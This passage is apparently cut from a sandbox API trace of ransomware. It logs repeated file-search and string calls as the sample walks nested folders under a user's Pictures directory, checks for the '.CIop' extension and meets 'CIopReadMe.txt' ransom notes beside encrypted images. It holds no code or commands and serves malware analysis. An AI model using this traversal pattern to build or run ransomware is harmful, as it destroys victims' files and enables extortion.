hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0 [0118.029] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 1 [0118.030] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 0 [0118.030] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.030] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.030] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.030] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.030] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.030] lstrcmpW (lpString1="xDtCMA3q", lpString2="..") returned 1 [0118.030] lstrcmpW (lpString1="xDtCMA3q", lpString2=".") returned 1 [0118.030] lstrcpyW (in: lpString1=0x2dc2d68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0118.030] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0118.030] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0118.030] SetErrorMode (uMode=0x1) returned 0x1 [0118.030] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0118.030] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0118.030] lstrcpyW (in: lpString1=0x2dc1540, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0118.030] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*" [0118.030] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67dc78 [0118.030] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="xDtCMA3q" [0118.030] lstrcpyW (in: lpString1=0x2dbff34, lpString2="xDtCMA3q" | out: lpString1="xDtCMA3q") returned="xDtCMA3q" [0118.030] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.030] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.030] lstrcmpW (lpString1="-Z88RWVEKHn2YHbC6YS.gif.CIop", lpString2="..") returned 1 [0118.030] lstrcmpW (lpString1="-Z88RWVEKHn2YHbC6YS.gif.CIop", lpString2=".") returned 1 [0118.030] lstrlenW (lpString=".CIop") returned 5 [0118.030] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.030] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.030] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.030] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.030] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.030] lstrcmpW (lpString1="h72I_b.bmp.CIop", lpString2="..") returned 1 [0118.030] lstrcmpW (lpString1="h72I_b.bmp.CIop", lpString2=".") returned 1 [0118.030] lstrlenW (lpString=".CIop") returned 5 [0118.030] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.030] lstrcmpW (lpString1="itHSyuXpEG8bbygGV.jpg.CIop", lpString2="..") returned 1 [0118.030] lstrcmpW (lpString1="itHSyuXpEG8bbygGV.jpg.CIop", lpString2=".") returned 1 [0118.030] lstrlenW (lpString=".CIop") returned 5 [0118.030] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.030] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.030] lstrcmpW (lpString1="lYPIT_a_zAinFFHfUDV.jpg.CIop", lpString2="..") returned 1 [0118.030] lstrcmpW (lpString1="lYPIT_a_zAinFFHfUDV.jpg.CIop", lpString2=".") returned 1 [0118.031] lstrlenW (lpString=".CIop") returned 5 [0118.031] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0 [0118.031] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 1 [0118.031] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 0 [0118.031] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0118.031] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*" [0118.031] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67dc78 [0118.031] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="xDtCMA3q" [0118.031] lstrcpyW (in: lpString1=0x2dbff34, lpString2="xDtCMA3q" | out: lpString1="xDtCMA3q") returned="xDtCMA3q" [0118.031] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.031] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.031] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.031] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.031] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.031] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.031] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.031] lstrcmpW (lpString1="J7dCVSJUmB", lpString2="..") returned 1 [0118.031] lstrcmpW (lpString1="J7dCVSJUmB", lpString2=".") returned 1 [0118.031] lstrcpyW (in: lpString1=0x2dc1130, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0118.031] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0118.031] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\", lpString2="J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0118.031] SetErrorMode (uMode=0x1) returned 0x1 [0118.031] lstrcpyW (in: lpString1=0x2dbfd18, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0118.031] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0118.031] lstrcpyW (in: lpString1=0x2dbf908, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0118.031] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*" [0118.031] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*", lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0x67dd78 [0118.031] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="J7dCVSJUmB" [0118.031] lstrcpyW (in: lpString1=0x2dbe2fc, lpString2="J7dCVSJUmB" | out: lpString1="J7dCVSJUmB") returned="J7dCVSJUmB" [0118.031] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0118.032] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0118.032] lstrcmpW (lpString1="50YQIo4i.jpg.CIop", lpString2="..") returned 1 [0118.032] lstrcmpW (lpString1="50YQIo4i.jpg.CIop", lpString2=".") returned 1 [0118.032] lstrlenW (lpString=".CIop") returned 5 [0118.032] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0118.032] lstrcmpW (lpString1="6ORqLC9av8hKhylQ04z2.png.CIop", lpString2="..") returned 1 [0118.032] lstrcmpW (lpString1="6ORqLC9av8hKhylQ04z2.png.CIop", lpString2=".") returned 1 [0118.032] lstrlenW (lpString=".CIop") returned 5 [0118.032] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0118.032] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0118.032] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.032] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.032] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.032] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0118.032] lstrcmpW (lpString1="N6 e0qhUxBM.bmp.CIop", lpString2="..") returned 1 [0118.032] lstrcmpW (lpString1="N6 e0qhUxBM.bmp.CIop", lpString2=".") returned 1 [0118.032] lstrlenW (lpString=".CIop") returned 5 [0118.032] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0 [0118.032] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0118.032] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0118.032] lstrcpyW (in: lpString1=0x2dbfd18, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0118.032] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*" [0118.032] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\*.*", lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0x67dfb8 [0118.032] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="J7dCVSJUmB" [0118.032] lstrcpyW (in: lpString1=0x2dbe2fc, lpString2="J7dCVSJUmB" | out: lpString1="J7dCVSJUmB") returned="J7dCVSJUmB" [0118.032] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0118.032] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.032] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0118.032] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0118.032] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0118.032] lstrcmpW (lpString1="7Luf9iKqys 6", lpString2="..") returned 1 [0118.032] lstrcmpW (lpString1="7Luf9iKqys 6", lpString2=".") returned 1 [0118.032] lstrcpyW (in: lpString1=0x2dbf4f8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB" [0118.032] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0118.033] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\", lpString2="7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0118.033] SetErrorMode (uMode=0x1) returned 0x1 [0118.033] lstrcpyW (in: lpString1=0x2dbe0e0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0118.033] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" [0118.033] lstrcpyW (in: lpString1=0x2dbdcd0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" [0118.033] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*" [0118.033] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*", lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0x67dd78 [0118.033] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="7Luf9iKqys 6" [0118.033] lstrcpyW (in: lpString1=0x2dbc6c4, lpString2="7Luf9iKqys 6" | out: lpString1="7Luf9iKqys 6") returned="7Luf9iKqys 6" [0118.033] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 1 [0118.033] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 1 [0118.033] lstrcmpW (lpString1="0eBemC7.bmp.CIop", lpString2="..") returned 1 [0118.033] lstrcmpW (lpString1="0eBemC7.bmp.CIop", lpString2=".") returned 1 [0118.033] lstrlenW (lpString=".CIop") returned 5 [0118.033] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 1 [0118.033] lstrcmpW (lpString1="lMwuMumsTcOMWQg.bmp.CIop", lpString2="..") returned 1 [0118.033] lstrcmpW (lpString1="lMwuMumsTcOMWQg.bmp.CIop", lpString2=".") returned 1 [0118.033] lstrlenW (lpString=".CIop") returned 5 [0118.033] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0 [0118.033] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0118.033] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0118.033] lstrcpyW (in: lpString1=0x2dbe0e0, 